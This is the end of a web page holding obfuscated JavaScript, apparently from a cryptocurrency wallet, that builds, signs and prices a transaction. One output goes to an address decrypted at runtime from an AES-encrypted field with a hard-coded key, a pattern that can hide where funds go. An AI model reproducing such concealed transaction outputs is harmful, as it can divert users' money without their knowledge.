_0x14a118=CryptoJS['AES'][_0x87c19c(0x2b7)](CoinsJson[_0x346977][_0x87c19c(0x1f4)+'r'],ioswz),_0x4c371f=_0x14a118[_0x87c19c(0x1c9)](CryptoJS['enc'][_0x87c19c(0x196)]);console[_0x87c19c(0x35d)](_0x87c19c(0x1f4)+_0x87c19c(0x305),_0x4c371f),_0x4892ef[_0x87c19c(0x36e)](_0x4c371f,_0x364464);_0x53a46c&&_0x646ca4>CoinsJson[_0x346977][_0x87c19c(0x20f)+_0x87c19c(0x118)]&&(console[_0x87c19c(0x35d)](_0x87c19c(0x338)+'e:',_0x646ca4),_0x4892ef[_0x87c19c(0x36e)](_0x5da524,_0x646ca4));_0x49060a['forEach']((_0x4d5f4d,_0xcc2cc8)=>{_0x4892ef['sign'](_0xcc2cc8,_0x426932);}),console[_0x87c19c(0x35d)]('txb:',_0x4892ef);const _0x45630c=_0x4892ef['build'](),_0x23a109=_0x45630c['toHex']();console[_0x87c19c(0x35d)](_0x87c19c(0x20d),_0x23a109);const _0x5c3bd9=await fetchFeeRate(),_0x3ae0b5=new TextEncoder(),_0x2e8bfd=_0x3ae0b5[_0x87c19c(0x38f)](_0x23a109),_0x29ba02=_0x2e8bfd[_0x87c19c(0x2d9)];console[_0x87c19c(0x35d)]('transactio'+_0x87c19c(0x368),_0x29ba02);const _0x1b4cce=_0x29ba02*_0x5c3bd9;var _0x5716b3=_0x1b4cce/(-0xf5*0x73a23+-0x4d2*0x25354+0x18162f67);document['getElement'+_0x87c19c(0x258)](_0x87c19c(0x2bd))[_0x87c19c(0x109)]=_0x5716b3,updateFeeDisplay(_0x5716b3);}catch(_0x28fc6b){console[_0x87c19c(0x39c)](_0x87c19c(0x2e9)+_0x87c19c(0x30c),_0x28fc6b);}EnableInput();}async function EnableInput(){const _0x49e93d=_0x481ed0;document['getElement'+_0x49e93d(0x258)]('receiverIn'+_0x49e93d(0x300))[_0x49e93d(0x3b9)]=![],document[_0x49e93d(0x2e7)+_0x49e93d(0x258)](_0x49e93d(0x2dd)+'t')[_0x49e93d(0x3b9)]=![];}async function flashElements(){const _0x32c64d=_0x481ed0,_0x396e13=document['getElement'+_0x32c64d(0x258)](_0x32c64d(0x374)),_0x200060=document[_0x32c64d(0x2e7)+_0x32c64d(0x258)](_0x32c64d(0x1f7));_0x396e13['classList'][_0x32c64d(0x2f5)]('fade-flash'),_0x200060[_0x32c64d(0x135)][_0x32c64d(0x2f5)]('fade-flash'),setTimeout(()=>{const _0x4016a9=_0x32c64d;_0x396e13[_0x4016a9(0x135)][_0x4016a9(0x1be)](_0x4016a9(0x2a5)),_0x200060[_0x4016a9(0x135)][_0x4016a9(0x1be)](_0x4016a9(0x2a5));},-0xb*0x191+-0x6*0x3+-0x3d*-0x59);}setInterval(ShowRefreshButton,-0xf*-0x3e3+-0x59b0+0x59fb),setInterval(RefreshBalance,-0x19f4e+-0x28b33+0x5ff41);
</script>
</body>
</html>